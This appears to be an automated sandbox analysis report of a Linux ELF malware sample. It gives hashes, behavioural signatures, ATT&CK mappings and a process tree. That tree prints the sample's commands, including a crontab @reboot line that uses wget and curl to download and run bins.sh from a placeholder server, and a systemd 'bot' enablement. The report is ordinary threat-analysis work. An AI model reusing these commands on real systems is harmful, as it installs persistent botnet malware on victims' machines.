Analysis
-
max time kernel
149s -
max time network
149s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240611-en -
resource tags
-
submitted
20-11-2024 03:03
General
-
Target
934af9b9bf9838d64d44911f92190a6742d152a421ed1a74762fb41b93f7366d.elf
-
Size
69KB
-
MD5
c060aa8e1d7eeef5b50c97c829f479ff
-
SHA1
3f5bd2cac04b460b9c2d0c07c7d6d95475daaf17
-
SHA256
934af9b9bf9838d64d44911f92190a6742d152a421ed1a74762fb41b93f7366d
-
SHA512
f41aaf9a8dca6c5e3e0163bcffd9ad9f46f5e3d390a55ac602dc36fd374eda903263ac7ca539289a23027a0bed91e91ac5f8746e75ac7f0294c920af07f0171d
-
SSDEEP
1536:FqqTBlmF1tmpq7yP7/rDaTP5Tg435EVzD0zuKNTO7r1hlvw86AQ:FVLmFzCiyP7/PaTxvpEVzDzKNTOdhlva
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Creates/modifies environment variables 1 TTPs 1 IoCs
Creating/modifying environment variables is a common persistence mechanism.
-
Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
-
Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
-
Modifies Bash startup script 2 TTPs 1 IoCs
-
Changes its process name 1 IoCs
-
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
-
Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
-
System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/934af9b9bf9838d64d44911f92190a6742d152a421ed1a74762fb41b93f7366d.elf/tmp/934af9b9bf9838d64d44911f92190a6742d152a421ed1a74762fb41b93f7366d.elf1⤵
- Modifies Watchdog functionality
- Creates/modifies environment variables
- Enumerates active TCP sockets
- Modifies systemd
- Modifies Bash startup script
- Changes its process name
- Reads system network configuration
-
/bin/shsh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"2⤵
- File and Directory Permissions Modification
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chmodchmod +x bins.sh3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/shsh bins.sh3⤵
-
-
/bin/curl/bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh3⤵
- System Network Configuration Discovery
-
-
/usr/bin/chmodchmod +x bins.sh3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/shsh bins.sh3⤵
-
-
-
/bin/shsh -c "/bin/systemctl enable bot"2⤵
-
/bin/systemctl/bin/systemctl enable bot3⤵
- Reads runtime system information
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
356B
MD5f03c70cd4c61a1852f9e19b8fb0d639c
SHA1a6c078ffffdf05c4c47b273b24e6b3ff4ef7e008
SHA256ae50a3052a395987a2779deb9253d4aa8638f2f8b1cda7df9039388f21be7a90
SHA5126277fbbffcdd72fc3712721525538ac07fc46d290ebb02be34cef52b3e62bfa8a66f4e834d364d220108c815192e391ad986f05662fcbfae674417507f4bcc20
-
Filesize
235B
MD5fea2661d02ff785a97b3f64e0d3b875e
SHA17393fa06dd45ce72839c66e6ff6651f3782676e4
SHA256426e114fb30d793222d53defc6209447ecbd56d5dbc5887b883d0b157d9d1e26
SHA512b08f380d60b86a1c305d89d9f9a5d2e98aec60be0a4f77333d8ea1fe87ea953450e2827bab5f5ce472a2a56422d5054a43f9ec3ce17580372b3466c83fa1b14d